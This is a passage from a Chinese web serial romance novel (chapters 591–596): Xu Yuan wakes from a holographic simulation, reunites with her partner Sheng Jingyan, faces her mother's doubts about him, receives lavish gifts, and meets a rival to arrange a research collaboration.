“阿愿最重要,且国内有段星河也有陆斯年和薛酒,没有人敢懂什么手脚。” 唐文晞失笑,确实如此。 纵然时间流速加快,却还需要十几天的时间。 经过这段时间的接触,盛景炎也知道面前的人确实称得上是个君子。 盛景炎一颗心都放到许愿身上,倒是唐文晞替许愿在意他的腿,已经安排好了苏青莲说的医疗团队为他进行治疗。 短时间内或许还不能站起来,但腿部已经开始有了些感觉,这就是好事。 盛景炎心道阿愿多个这样护着她的哥哥,或许不是坏事。 许愿醒来的时间比苏青莲还要晚了两天,最先醒过来的人是苏青莲。 她整个人从全息舱醒来时手放在自己的胸口,感受到心脏处传来的疼痛感觉。 在那个世界中经历过的事情她不会忘。 每经历一个世界重新醒来时她都会如此,茫然又悲痛。 那些世界有唐清江,可现实世界没有他。 她喉间发堵,缓了许久才终于从那些纷乱的记忆中醒来。 这次与往常不同的是,多了许愿。 从前他们的记忆里从来不会有子嗣存在,这个世界却有了女儿,她也从未想过,原来自己会如此在意许愿。 她想,如果当初唐清江没有出事,如果许愿真的是她和唐清江婚后诞下的孩子,她们一家一定会生活的非常幸福。 也不会……让他们吃了那样多的苦。 许是因为这个世界多了许愿,她一时有些走不出来。 第591章 现实 苏青莲头还有点晕,唐文晞已经带领研究人员进了房间为她测量血压做了各种检测。 “我没事,只是还有些没缓过来。” 她每次从唐清江的精神世界清醒后都是这种情况,思维跟不上,整个人都有些茫然。 唐文晞也没多说什么,检查后知道她身体没什么问题便退出去让她好好休息。 直到第二天苏青莲才缓过劲。 她是知道许愿的房间在哪里,寻了去推开了房门,就看到许愿躺在全息舱中还未清醒。 盛景炎坐在轮椅上,似乎是在守着她睡觉,听到脚步声便睁开眼。 看到面前的人怔了下。 许愿和苏青莲的相貌有七成相,但这两人的气质是不同的,许愿虽然经理很多事但到底是年级尚幼,且一直要强,所以五官也更显明艳,苏青莲早年或许也是如此,但现在的苏青莲已经收敛了那些年的傲气,变得内敛且平静,明明是几乎相同的五官,她就是给人一种淡雅的感觉。 苏青莲淡淡的看了他一眼,眼底并不带多少感情,她查看了下进度条后收了心,目光重新落到盛景炎身上,似是在审视打量。 若是以前苏青莲或许根本不想管许愿跟谁恋爱结婚,也不是完全不管,但起码许愿要挑个合适的人,起码不能继续被人欺骗感情。 那时盛景炎在她这里是能拿到及格分的。 现在不一样了。 经历了那个世界,虽然现实世界不算长,但在那个世界许愿确实作为她的女儿跟她经历了一辈子。 被她和唐清江宠了一辈子的女儿,怎么能随随便便的选定了恋人。 若说以前对盛景炎还算满意,现在就是百般挑剔。 “其实我不明白阿愿为什么会选择你。” 苏青莲居高临下的看着他,眼神挑剔。 “她这些年经历过什么,接触过什么样的人我都清楚。” “坦白来说,陆斯年也好,薛酒也好,哪怕是那个有点幼稚青涩的宋观鱼都比你是上上选。” “陆家虽然早年衰败,陆斯年也扛起了陆家大旗,背后没什么纠缠不清的家族,薛酒更是孑然一身,跟阿愿之间有羁绊纠葛,宋观鱼呢,宋家唯一的继承人,且宋家没有旁的乱七八糟的人能插手宋家的事,若是阿愿跟宋观鱼一起想必也会很幸福。” “可你不同,比起他们,盛家就是一团乱麻。” “你的父亲,你的弟弟,乃至盛世的高层股东没有一个省油的灯,你的父亲瞧不起阿愿却在盛世动荡的时候只能求到阿愿这里,你的弟弟多情滥情招惹了冯菀菀得罪姜家人迫使盛世被围剿又是阿愿压下来,盛世的高层却会因为阿愿是女人而瞧不起她,现在知道了阿愿的实力便想要让她一直留在盛世为你们的盛世付出,从盛家道盛世高层,几乎每一个人的心都是黑的。” “在你这里,阿愿得不到正向的回馈。” 许愿接触过谁,经历过什么,苏青莲一查就清楚,所以才会更瞧不上盛家。 本就是三分几亩地的小地方,有什么可争的? “或许你是给了阿愿很多东西,你的确将你所拥有的最珍贵的最在意的都给了阿愿,可你拥有的那些在我看来不值一提。” “你的那些东西对阿愿来说本也算不上什么,你不过是运气好,在她被傅京礼伤到最深的时候趁虚而入罢了。” 事实的确如此。 许愿除了恋爱脑外,真的是个非常理智且理性的人,否则也不会当初一时冲动选择嫁给傅京礼,由着他伤害自己整整三年之久。 盛景炎出现的时间太巧,傅京礼提出离婚,她被许宁陷害被逼离开傅氏,都是盛景炎陪在身边。 人就是这种感性且复杂的生物,在这种敏感的时刻最容易生理性的对给她带来温暖的人产生依赖感。 一旦让她产生依赖感,那其实就会是爱情的开始。 这还不是最重要的,最重要的是盛景炎确实运气很好。 她那时怀了孩子,盛景炎对她说的那些话打动了她,她同意跟盛景炎无非是不希望自己的孩子生下来没有父亲,而她跟盛景炎幼年遭遇的几乎相同,所以才会同意跟盛景炎在一起。 一旦确定了关系,许愿就会认真对待这份感情。 所以才会变成现在这样,他们成为了彼此在意的爱人。 可若是从苏青莲的角度来看,盛景炎也不算是良配。 盛景炎看着面前对自己挑剔的女人,只是微微敛了下眉。 “我也觉得我运气很好,遇到了阿愿。”这一点盛景炎不会反驳。 在他眼中许愿就是很好,否则他也不会再受伤后多次想要将许愿推开,其实他并不怪苏青莲对他说这些,他多少是有点自知之明的,也清楚苏青莲说这些全都是为了许愿。 苏青莲只觉得一拳打到了棉花上,忍不住皱了下眉。 她多少也算了解许愿了,知道许愿的性子十成十的随了自己是个不可多得的恋爱脑。 许愿一门心思都放到了盛景炎身上,哪怕是进入到唐清江的精神世界都还记得自己要找一个人,为此一直孤身一人。 她劝许愿进到唐清江的精神世界不是没有私心,私心里她想看看许愿是不是真的能一个人坚持到最后,偏偏她真的顶住了一切压力不恋爱不结婚。 盛景炎对许愿就是这么重要,所以她能如何针对盛景炎? 若是真的针对盛景炎,她跟许愿先前建立的友好合约恐怕也会被瞬间撕毁了。 毕竟若是有人对着唐清江指指点点她也一定会恼。 盛景炎之于许愿,就等于是唐清江在她心里的地位。 更何况,许愿偏强势,盛景炎在她面前多数时候是让着她的,两人之间不会有什么碰撞,从这一点来看也是比较搭的。 所以,哪怕有再多不满她也只能忍下。 “盛景炎,你最好一直对阿愿这样好,否则……你一定会后悔。” 盛景炎面色不变:“当然,不论有没有你,她都是我最重要的人。” 第592章 很想很想他 苏青莲深深的看了他一眼:“你最好说到做到。” 她与盛景炎其实并没什么好说的。 许愿比苏青莲醒来的时间晚了几天,唐文晞安排的医生已经在为盛景炎治疗,虽然人在苏青莲的小岛,但实际上见苏青莲的时间并不多。 苏青莲的生活很有规律,每天都会去看唐清江和许愿,看过许愿后就会去看唐清江,偶尔会做研究欣赏欣赏小岛的景色。 倒是唐文晞对他还算友好,会提到小岛上的事。 许愿醒来的时候和苏青莲苏醒的状态几乎无异。 苏青莲研发的全息舱很成功,她没有头痛恶心的感觉,只感觉好像是做了个很漫长的梦,梦醒了就是现实。 她脑内想到的是唐清江对她说的那些,眸光都跟着闪了闪,手捏了捏眉心耳边就恍恍惚惚的好像听到了盛景炎的声音。 她愣了一瞬,垂眸便看到坐在轮椅上的盛景炎,眼睛都跟着亮了一下。 或许对盛景炎来说只是二十多天没见,但对她来说,真的是很久很久没见他了。 就像是……久别重逢的爱人啊。 盛景炎握住她的手,唐文晞便已经带了医护人员和研究人员进来为她测试了身体状况,没有任何问题。 唐文晞也不留在这里扫兴,命人给许愿准备了饭菜以及衣服和洗漱用品后才退出去。 许愿才从全息舱醒过来,是需要清洗下。 唐文晞都安排好了的,房间内就有浴室,许愿洗了热水澡清洗一番才出了浴室,看到盛景炎就扑进他怀中,两条手臂死死的搂抱住他的。 “盛景炎……盛景炎……” 她声音很轻的在他耳边呢喃,头自然的在他颈边蹭着。 对她来说,她真的好久好久都没有见到盛景炎了,她进入到唐清江的世界总觉得自己是有爱人的,她一直在找,可见了很多人都不是他,她那时是真的做好了孤独终老的准备。 等到醒过来,记忆完全复苏,她才知道自己现在恋爱脑有多严重。 她是真的非他不可了,真的很爱很爱他。 “我真的很想很想你。” 她才洗过澡,唐文晞选的浴液是许愿常用的品牌,一样的牛奶味儿,这样扑进他怀中,味道是香香甜甜的,身体是柔软的。 他的阿愿,好像一块小蛋糕。 他眼底漾起的都是笑意。 “一定是我更想你。”他笑了笑,却摸到她一头的湿法,又水珠滴落在他衣服上他也不在乎,只是搂抱住怀中的人拿起了沙发上唐文晞一早准备好的吹风机。 他似是猜到许愿不会吹干头发出来才准备了这个。 “别闹,先给你吹干头发,你身体本就弱,才养好没多久不要任性。”他揉了揉许愿的头,也不顾此刻她鼓起的脸颊替她擦了擦湿法后又为她梳理头发,一点点的为她吹发。 他经常做这事,已经很熟练了。 许愿舒服的眯着眼睛,像是只休憩慵懒的大猫,模样实在可爱。 等为她吹干了头发,许愿又一次扑进他怀里,在他颈边蹭来蹭去,盛景炎无奈的笑,抬手摸到的就是她此刻蓬松柔顺的长发,没控制住又揉了一把。 他的小动作怎么可能逃得过许愿,她轻笑了一声,握住他的手捏了捏,有点像是被关在家中的家猫见到主人后主动的模样。 实在可爱。 “我头发吹干了。” 许愿声音还是很轻,像是带了点点蛊惑的意味儿,不等盛景炎回应,已经贴上了他的唇。 她是真的很想很想盛景炎的,哪怕在那个世界没有任何记忆,但心里一直有个声音告诉她,她有一个爱人,那么长的一段时间都是靠着自己走过的,再见到盛景炎她当然会激动,甚至想跟他做更亲密的事。 她当然会羞涩,但是羞涩中也带着大胆,毫不吝啬的表现自己对他的渴求和爱意。 唇齿交缠,肌肤紧贴在一起,身上穿着的还是浴袍,胸前的浴袍布料也在向下话落,带着点温热的吻落在她颈间,男人灼烫的呼吸喷洒在颈边,留下暧昧的痕迹。 许愿喘息着,却是抱紧了他。 直到男人抬头,那双漆黑中染带着几分情欲的眸对上她的眼,她又忍不住笑起来,凑近了亲了亲盛景炎那双漂亮多情的桃花眼。 很久未见,再见到他就只想亲亲抱抱,有点像是得了皮肤饥渴症似的。 她自己都觉得有点好笑。 “地方不对,等回去再说。” 盛景炎握住许愿纤细的手放置在自己唇边轻吻了下。 这是苏青莲的地盘,房间内也不知有没有摄像头……不,不用多想,苏青莲的地方肯定是有摄像头监视器的。 这地方毕竟是全息研究室,没有才不正常。 许愿很小声的哼了一下,有点不满,但也知道盛景炎说得对,但还是没忍住凑到他耳边轻咬了下,惹得盛景炎呼吸又重了几分。 他当然知道许愿就是在故意撩拨,不过地方不对也只能暂时忍着。 她整个人倚靠在他怀中,像是将他当做了大型靠垫似的,还拉拽着盛景炎的手搂抱住自己的腰,以免自己坐不稳靠不稳。 “见到唐先生了没有。”他问。 许愿点了点头:“当然见到了。” “能跟我说说都发生了什么吗?你醒来的时候恍惚了很久。” 许愿唔了一声,手与盛景炎的手紧贴在一起,交叠紧握。 她这副模样和在那个世界时全然不同,她也只有在盛景炎的面前才会这样自然的撒娇路出柔软的一面。 盛景炎,才是那个真正的能让她完全信赖的人。 “有点像是进到了一个架空的不存在的故事中,然后没有任何记忆,在那个世界我才两三岁,而唐清江是我的父亲,苏青莲是我的母亲。” “在那个世界我是第一次尝试有亲生父母的感觉……” 她眼睛亮晶晶的开口道:“我的父亲很爱很爱我,她是我见过的遇到过的最伟大的父亲。” 经历了那样多的事,她就是会对唐清江有滤镜的。 第593章 真的要选盛景炎吗 许愿跟盛景炎讲起那个世界发生的事,唐清江和苏青莲对她的偏爱,唐清江对她的教育。 唐清江总是会义无反顾的站在她身前为她遮挡风雨,他教会她爱自己。 那个世界所处的年代不同,不结婚被多少人说闲话呢?可唐清江总是平静的说这是她自己的人生,任何人不能替她做决定。 唐清江一直教她的都是要好好爱自己。 也是经过那个世界,许愿才明白,为什么国内有那样多的人崇敬的人是唐清江,因为他的心理也好,精神也好,思维也好,都一直领先那些人的。 她的父亲,值得。 “父亲跟我说,他其实能听到苏青莲说的那些话。” 她摇晃着盛景炎的手,继续道:“他说为苏青莲做的那些事感到抱歉,他说我不必因为他儿委曲求全去原谅苏青莲,他只希望我自己做出正确的选择能够过得开心,而不是为了任何事低头。” “他一直都是温柔的……我从小到大都没有被人这么疼着宠过,也是第一次明白原来这才是父亲,原来父爱如山也是可以真实存在的。他对我的爱就真的像巍峨高山……” 她似乎是因为唐清江不会逼迫她原谅苏青莲而高兴。 因为这代表唐清江在意苏青莲也在意她这个女儿。 许愿伸出手捧住盛景炎的脸,笑的眉眼弯弯:“父亲说他很欣赏你,还说要谢谢你照顾我,他说以后有机会一定要见你。” 盛景炎握住她的手,嗓音温柔:“哪里用唐先生谢我,照顾自己的爱人不是理所应当的吗。” “对哦,这是你应该做的。”许愿又在笑了。 她看到盛景炎就是会这样控制不住自己的笑意。 任谁见了这一幕都知道他们感情会有多深。 “那苏女士呢?”盛景炎问:“她在那个世界,对你好吗。” 他主动问了,倒是让许愿愣怔了一瞬。 苏青莲对自己好吗? 在那个世界是很好的,最初有记忆的时候就是在跟苏青莲相依为命,她将饭食生下来喂给她,自己却瘦骨嶙峋,有任何事也总是挡在她身前,哪怕是后来越过越好,她也还是疼她宠她的。 她喜欢的,她想要的,苏青莲总是会帮她实现。 她在那个世界得到的是父亲和母亲双倍的爱意。 就好像填补她这些年受过的伤,让她有了一段幸福美满的人生。 真的很好…… 那段记忆也让她知道,苏青莲并非不在意自己的孩子,她在意,只是很多事身不由己。 她将头埋进他胸口,声音闷闷的。 “不一样的。” 不一样的,那个世界的苏青莲对她再好那也只是虚拟世界,她在现实世界经受的一切,苏青莲没有补给她。 她会委屈会在意。 那么多年经受的一切,怎么可能经过这样一个世界就会被彻底改变的? 她知道盛景炎能明白她的意思。 事实上盛景炎也确实懂她。 她不是任性,她不过是委屈。 “没事,阿愿不喜欢那我们就少接触,只要你开心,做什么都依你。” “好。” 许愿知道盛景炎会依着自己,她握着他的手,力气都大了几分。 “对了,现在是什么时间,距离我和姜明珠约定的时间还有几天?还来得及吗?” 她果然问到了正题。 “本来你还要等很久才能醒,是你离开几天后段星河找到我猜到了你可能链接了唐叔叔的脑内神经短时间内不会回国,所以才追踪了苏青莲的一些代码查到了唐文晞,找到唐文晞才来到了这里。” “唐文晞加快了时间流速,所以还有三天时间才到你和姜明珠约定的时间,来得及。” 许愿这才放心了。 “父亲托我带给苏青莲几句话,等我见过苏青莲就跟你回A市。”说到这里苏青莲又问:“他们给你配了医疗团队吗?” 她来这里就是为了苏青莲说的能治疗盛景炎的医生。 “唐文晞已经安排他们为我治病了。” 看她这样着急担心的模样,盛景炎失笑。 “苏女士没有骗你,他们确实有能力治好我,现在腿部已经能感受到疼痛有了些感觉,他们说好在腿伤的时间不算长,所以治疗和复建的时间也不必太久。” 他的手拢过她额前的碎发,声音温柔:“阿愿,再等等,等我站起来那天,我会向你求婚。” 盛景炎为什么一定执意要等站起来后再向许愿求婚? 以方便是因为他的自尊心,另一方便是不希望许愿嫁给他时他还只能坐在轮椅上,看着那群人嘲讽许愿只能嫁给残疾人。 在他心里讽刺他可以,但不能用他来讽刺许愿。 他一直都觉得许愿比他更重要。 “好,我等你向我求婚。” 许愿笑吟吟的,眼睛里面都像是带着点光。 …… 许愿和盛景炎离开实验室打算去唐文晞准备的房间休息时,才推开门就看到了一直候在门外的唐文晞。 他正坐在外面的长椅上处理公务,听到门被打开的声音,抬眸看过去。 见许愿醒了眼底都是抑制不住的笑意,只是目光落到盛景炎身上时目光凉了些许。 “许愿,你真的确定要选他了吗。” 和苏青莲一样。 唐文晞也觉得现在的盛景炎配不上许愿。 他们都认为许愿值得更好的。 许愿的手落在轮椅扶手上,她脸上不带任何笑意,相反却带了几分嘲意。 “唐文晞,其实我觉得你挺有意思的。” “你跟我之间关系并没有多好,你只是被苏青莲养在身边养了这么多年,并不算是我真正意义上的哥哥,所以你似乎没有权利来质疑我选谁来作为我的伴侣我的爱人。” 许愿语气中的嘲意此刻根本藏都不藏了,直接开始对准他进行攻击。 唐文晞当然明白许愿这是在为盛景炎出气。 这次的确是他冲动唐突了。 “抱歉,是我的错。” 唐文晞略带歉意的笑了笑:“你猜刚醒需要好好休息,休息过后我会带你见苏女士,我猜你大概是有话要对她说。” 第594章 送她的礼物 许愿确实是打算休息好再去见苏青莲。 坦白来讲她现在对苏青莲的感情真的有点复杂。 休息了一天时间才算真的缓过了劲儿,期间还去见了给盛景炎治疗腿的医疗团队,余下的时间倒是将心思放到苏青莲研制的全息舱上。 苏青莲没有量产的原因还是很多的。 她现在研制出来的几个全息舱用的材料都是世上很昂贵的稀有材料,且经过唐清江被人暗害,且被革新派设计在他还活着的时候取出他的大脑进行研究后苏青莲就对国家没有多少执念了。 她和许愿都是这种想法。 我会像国家爱我一样爱他。 他们苛待我的爱人,我为什么还要继续像没有智商没有思想的蠢货一样任人摆布去管他什么未来? 她们总共就活这么几十年,当然要活的潇洒自在。 所以苏青莲没有量产且将资料发给华国科研中心,一是因为稀有材料过于昂贵,二则是经过唐清江那件事她不打算一昧付出。 许愿记录了一些表面能探查到的稀有材料,越查越心惊。 说是休息了一天,倒也没休息多久,不过身体是缓过来了。 许愿算好时间后才去见苏青莲,苏青莲正躺在沙滩躺椅上晒太阳,她似乎心情真的很好,眉梢都是带着喜色的。 她右手侧的矮桌上是鲜榨的椰汁,这个距离都能闻到香甜的味道。 这个小岛四季如春,吹来的风带着点海风的潮湿感,又裹挟着水果的香甜气味儿,让人闻着身心都放松下来显得松快的想要休憩了。 “你终于来了。” 苏青莲咬着吸管喝了口椰汁,眉梢微挑,转头便落到许愿身上。 她内心有些感慨。 在那个世界许愿是很黏她和唐清江的,哪怕是后来她长大了也会偶尔撒娇,那时的许愿是全身心的相信她和唐清江。 只可惜,现实中的他们就好像没有母女缘一样。 也是。 许愿本就是她一意孤行盗取唐清江的基因用科技手段得来的孩子。 苏青莲懒懒散散的起身给她倒了杯椰汁,并未让许愿看出她此刻的窘迫。 “文晞说你有话要对我说,你说,我在听。” 苏青莲对她的态度跟之前是不同的,现在的她像是带着纵容的,就是有一种许愿如何闹都是她家的这种感觉。 许愿微微垂眸,她并不喜欢这种感觉。不过或许是习惯了,竟然也默认的接受了。 “父亲快回来了,我见到他了。” 许愿这话才说出口,苏青莲整个人都僵住了,像是喜极而泣。 “他说没有跟你建立精神链接跟你见面是因为”这话还没说完,苏青莲就已经接了话:“我知道,他是因为我长时间在全息舱担心我会受伤,我了解他。” 方才还懒洋洋靠着躺椅的苏青莲整个人都坐起来,明明脸上带着笑,却又好像快要哭了。 “我没有其他事了,需要你安排航线私人飞机送我们回A市。” 马上就到她跟姜明珠约定的时间,她不能继续待在这里了。 苏青莲知道她心里急着回去也没多留她,唐文晞已经安排好一切,医疗团队也跟着一起上了飞机。 他们走时苏青莲和唐文晞一起去送的,看到许愿和盛景炎相携离去,苏青莲眸光微微暗了一分,片刻后开口:“在国内有事可以随时找我,如果不想见我也可以联系文晞。” 许愿深深的看了苏青莲一眼没拒绝却也没答应。 直到飞机远去,苏青莲才终于叹了口气,她回到唐清江的病房,目光落到在熟睡中的男人身上。 男人闭着眼睛,仍然陷入沉睡。 她坐在床边,握住他带着凉意的手捧住自己的脸。 “阿江,我好想做错了很多事,当初只是希望你能有后代,却没有想过他们姐弟的感受。” “我把他们当工具,现在却又妄想他们能回馈给我炽热的情感,真的有点可笑。” “如果你知道这些事大概也会怪我吧。” 她忍不住在他掌心蹭了蹭。 “阿江,你别怪我好吗,这世界上谁都可以怪我任性怪我自私,但是你不可以……我真的,最在乎的只有你。” 她听不到唐清江的回答,当然听不到的。 他还没醒。 “阿愿说你快醒了,早点醒过来好不好,我想听你说不怪我,很想我,很爱我……” 她说着说着声音哽咽,眼泪滑落。 却没注意到唐清江的眼睫很轻的颤了下。 …… 许愿回到A市已经是深夜了,他们回来的消息没告诉多少人,但顾凛和刑从景还有段星河是知道的。 下了飞机就看到了这两队人,顾凛和刑从景身后一水儿的黑衣特警,段星河倒是没折腾自己那群研究员,自己大半夜的开车来接人,一个人顶了一队人。 “可算回来了,再不回来实验课做不下去了。” 段星河双手揣兜走过去,还是那副闲散模样,不过他这些天似乎是没休息好,黑眼圈明显。 顾凛没说什么,看她回来算是放心了,只提点了几句就回去了。 刑从景还是照常跟着许愿,一起从飞机上下来的医护人员带着三个硕大的行李箱交到许愿手里:“许老师,这是唐总让我给您的,说是带给您的礼物。” 之所以没有直接给许愿,是担心她不收。 东西都送回来了,也没有还回去的道理,不然倒真是一点面子不给似的。 许愿微微点了下头,刑从景身后就有特警上前一步带上行李箱。 许愿回来的消息其实没有封锁,虽然是私人飞机申请航线飞回A市,但飞机停留在唐文晞在A市的庄园别墅停机坪,不过许愿即将离开前,其中一位医护人员拿了房产证件到许愿面前。 “许小姐,唐总说这座庄园是送给您的礼物。” 唐文晞对许愿是真的很大方,最开始见面就送了红玛瑙珠宝价值上亿,现在又送了这么一套庄园,像是弥补似的。 但是为谁弥补?只要稍微猜一猜就知道或许是为了苏青莲。 第595章 随你恋爱脑 “谢谢。” 许愿没拒绝,因为凭她的彩礼可以随时在A市买下庄园,只不过最近没有什么较好地段的庄园,唐文晞有钱她一样有钱,这个庄园对她来说确实不算什么,在普通人眼中或许是份大礼,但对唐文晞和许愿来说这就是份小礼物。 回到和盛景炎共同的家时已经是深夜,整整两层都被盛景炎买下来,那些医护人员刚好也有地方住。 整个A市除了机关外怕是许愿和盛景炎居住的地方最安全,又是警备队特警又是医护人员,全齐了。 医护人员跟许愿告别去休息时还不忘提醒许愿打开行李箱看看唐文晞送她的礼物。 许愿都颇为无语,等洗漱过后她倒是真的打开了行李箱。 里面塞满了大大小小的首饰盒,许愿只看了一眼眉头都忍不住挑了下。 唐文晞这是想干什么?见面礼需要送这么多的? 盛景炎显然也看到了这些:“不打开看看?” “这就打开了。”许愿将一个个大大小小的盒子抱出来放到桌上,没有女生在收到礼物后会不想拆开,许愿也不例外。 果然是像许愿猜的那样,全都是珠宝首饰,多是红色的,许是因为知道她喜欢红色。 血色天然珍珠不多见,这里凑了项链手链耳环凑足了一套。红色天然玛瑙石的整套首饰,甚至红宝石胸针都有一排。 许是觉得红色太多了也不算好看,其中还带些其它颜色的珠宝,最后最大的盒子里面盛装的是一块没有雕刻的翡翠原石。 这么完整的翡翠原石,许愿只瞟一眼就知道拍卖的时候大概的价位。 唐文晞还真是大手笔,怪不得医护人员提拉行李箱的时候好像手都在抖。 这里面随便一件丢了都够他喝一壶了。 “他是不是太夸张了?”许愿觉得自己头有点疼。 “你可以试着数一数是不是二十六份,如果加上赠给你的庄园是二十六份的话那就说得通,这是补给你的生日礼物。” 盛景炎思索了下解释。 许愿顿住,数了下,确实是二十六份。 还真有点离谱,送礼物就算了,但也没必要每一份都这么昂贵。 可偏偏他送的刚好许愿都很喜欢,许愿有一点随了年轻时候的苏青莲,她活的张扬活的绚烂活的潇洒,所以她喜欢颜色艳丽的华服,喜欢收藏各式各样的珠宝,喜欢欣赏生活……哪里都是随了苏青莲的。 “他是真的很感激苏青莲,也是真的很想当我哥哥。” 口头上说的永远不如实际行动,这么一通真金白银砸下来,谁敢说唐文晞不在乎许愿? 也不知道这人是真的这么多年都为她准备礼物还是临时去拍卖会拍下来的,里面确实有最近拍卖会上的拍品。 好在许愿有专门的珠宝间,这么多珠宝需要定期保养护理,她懒得做这些,一直都是盛景炎负责安排的。 “不管了,你明天找人收拾好,太多了看的头疼。” 许愿又依偎进盛景炎怀里了。 她觉得自己可能得了皮肤饥渴症了,不然怎么这么想贴着盛景炎。 “等治好了你的腿我就可以更懒一点,要你抱着走。” 她忍不住哼了一声有点骄纵,盛景炎忍不住笑了下:“好,你让我做什么都好。” “总感觉你现在跟以前变化好大,怎么这么乖。”她伸出手捏了捏盛景炎的脸揉了把。 “随你,恋爱脑。”盛景炎调侃了句。 他们两个半斤八两吧。 许愿也不觉得恋爱脑是在骂自己了,两个恋爱脑绝配。 …… 虽然很久没有碰过盛景炎了,但两人身体贴到一起很难不做点什么,好在两人都很累,并没有折腾很久。 许愿打给姜明珠的时候约了她在华庭见面。 盛世的工作当然还是盛景炎接手,夫妻两人各司其职。 姜明珠一向都很讲究,许愿还没来的时候就已经点了各色茶点,不过都是小份的,她只想尝尝味道,每份吃一口也要吃饱了。不过姜明珠没想到自己大哥也跟过来了,说是要看她跟许愿怎么谈话。 还能怎么谈?用嘴谈啊! 说什么想看他们怎么谈,这明摆着就是想见许愿。 可她又不能把自己大哥赶走,不然大哥又发疯去找冯菀菀怎么办? 许愿再如何都比冯菀菀那女人好太多了。 许愿推门进来时姜明珠还在跟姜明钰怄气,她现在觉得自己大哥就是有病,看他眼睛不是眼睛鼻子不是鼻子的,心里过分烦躁。 怨气很重的样子。 许愿扬了下眉:“一段时间没见,你还是这样的暴脾气。” 姜明珠抬头扫她一眼“呵”了一声,只看了一眼还是被许愿的美貌惊到。 姜明珠都觉得自己挺没出息的,但姜家人好像就是爱美色,他大哥是这样二哥是这样,她也是这样,尤其是她,不然当初也不会直接定了陆斯年成为自己的未婚夫,更不会被薛酒那只漂亮狐狸约出去看电影。 许愿倒是没怎么打扮,本来打算毛衣裙出门,结果被盛景炎看见了给她添了件大衣,等她出门前又给她围了围巾。 A市的天气还是比较干冷的,今天风有点大,不过她倒是不觉得冷。 这会儿大半张脸几乎都被围巾遮住,只露出那双漂亮却又清冷的眼眸,像极了璀璨的宝石。 房内的灯光打在她身上,像是多了一层柔光,让她看着愈发无害起来。 姜明珠没忍住多看了两眼,姜明珠还没开口呢,姜明钰倒是站起身给许愿倒了杯热茶:“一段时间没见,还好吗。” 许愿脱了大衣解下围巾,那张明艳迤逦的面容就完整显露出来,她是真的没有化妆,可越是这样越是给人一种清淡却又精致的感觉,她没有穿华服,没有戴首饰,毛衣裙都是白色的,让她整个人透着股温婉却又慵懒的感觉。 像是在风中摇曳的一朵清雅的花。 已经不用问她好不好了,只看她状态就知道她很好。 许愿越是漂亮越是优秀,姜明钰就越是会认为自己以前眼瞎看上冯菀菀。 “当然很好。” 许愿给面子的回了句。 第596章 就是纯好色 她坐到了姜明珠对面,姜明钰倒的热茶她喝了口,是她爱喝的红茶。 见她喜欢,茶壶都被姜明钰放到她面前,伸手就能碰到。 姜明珠:“……” 没眼看! 姜明珠忍无可忍:“大哥你有事吗?没事能不能去工作?” 到底是谁亲人谁哥哥啊?看到许愿什么都忘了就坚持许愿第一原则是吗。 姜明钰本来也只是想看许愿一眼,看过了也没别的事,见妹妹要飚,只笑了笑开口道:“你要的最新款的研究仪器已经买回来送到你的研究室了,今天回去就能看到。” 那几款仪器加起来上亿。 她哥还是疼她的。 姜明珠哦了一声,这下乖了。 姜明钰也没多待,跟两人打了声招呼就走了。 房间内只剩下许愿和姜明珠,姜明珠比较直接,她这次还带了电脑,打算当场给许愿进行演练让她知道自己研究出了许愿的数据资料。 许愿看完脸上的笑意不变,姜明珠皱眉:“难道你研究出了更好的?” “我没有研究出更好的,但有人研究出了更好的,我们短时期内再如何创新推算数据代码都比不上她给的数据。” 许愿将自己备好的U盘插到姜明珠电脑上:“那天你打算跟我比赛的时候我就已经得到了完整的数据资料。” 姜明珠目光沉沉的看着电脑上不断涌出的数据资料,这完全将他们两人的创意结合到一起且完全不突兀根本不用再次推算更精妙的数据代码。 是谁做的? 段星河说了不会插手这件事,那会是谁。 姜明珠脑海中闪过一个人的名字,眼神一暗。 “是苏青莲。” 苏青莲还活着的事在真正的上流圈层已经不算是秘密,而许愿是苏青莲的女儿这是圈内人都知道的事。 纵然许愿没有被苏青莲养在身边,但两人的血缘关系不是假的,她自然会帮她的女儿。 “的确是她。”许愿平静开口:“她当晚就算出了最优数据。” “所以现在,要合作吗。” 许愿又倒了杯热茶:“你很聪明,你该知道我们这种人看过这种数据后就会记在脑子里,所以……合作吗。” 都到这地步了也只能合作了。 “没想到最后还是要合作,早知道我还折腾这些做什么。”姜明珠有点不耐,折腾一个月算数据最后还是要跟许愿合作。 “对,所以你在折腾什么。” 许愿倒是在这时候调侃了一句。 姜明珠心情不爽的看她一眼:“合作相关的事你找我大哥。” “虽然我同意跟你合作但不代表我就能接受你喜欢你,你最好还是离陆斯年远一些。” 她站起身就要走,完全没有跟许愿继续沟通的意思。 许愿也不多待,只是没想到到了华庭一楼的大厅就看到薛酒自己一个人坐在沙发上,不过薛酒看到姜明珠后脸上笑意都深了几分。? 不对劲。 果然,下一秒薛酒就站起来走到姜明珠身边,不知道说了句什么姜明珠有点恼的要去推他,他倒是嬉皮笑脸的握住了姜明珠的手放到嘴边亲了一口。 许愿:“……”? 亲了一口? 谁亲谁? 薛酒亲姜明珠?虽然不是亲吻只是亲手,但是……这未免也太超过了一些? 明明不久前姜明珠才威胁她不要靠近陆斯年,怎么转眼就跟薛酒搅合到一起了?这事儿陆斯年知道吗? 许愿没忍住走近,薛酒看到她眼睛亮了下。 “阿愿你回来了?我这边有点事,晚点跟你解释。” 许愿:“……” 看出来你有事了,就是纠缠姜明珠,还解释……她想陆斯年或许比她更需要解释。 似是见许愿眼神古怪,薛酒开口:“我在追求姜小姐。” 嗯,怎么说呢,这世界终于癫了吗。 许愿觉得自己头又开始疼,倒是姜明珠的连都有些红,狠狠瞪了薛酒一眼,然后踩着高跟鞋就走,结果走的太着急差点摔到地上,薛酒眼疾手快把人往怀里一带。 薛狐狸你别以为她没看到刚才是你拌的姜明珠。 许愿唇角抽了抽,倒是薛酒走之前还不忘冲许愿摇晃了下自己的手机,像是告诉她手机上解释然后就追着姜明珠走了。 盛景炎倒是已经来接许愿了,也看到了这一幕,两人对视一眼,他便感觉到了许愿的无奈。 这种情况任谁都会无奈。 不过姜明珠的脾气,好像确实是跟薛狐狸更搭一些。 陆斯年虽然看着温柔,但骨子里是强势的,薛酒呢,虽然看着懒懒散散的,但是比陆斯年更能感知到身边人的情绪,也更会哄人。 怎么说呢?姜明珠那样暴脾气的,好像就是比较是个薛狐狸这种会哄人的。 就因为薛酒和姜明珠的事情,许愿这一整天都有点晕晕乎乎的静不下心,索性回家休息,段星河也没催她回盛世。 她心里猜着这两人什么时候搞到一起的,结果晚上就接到了薛酒的电话。 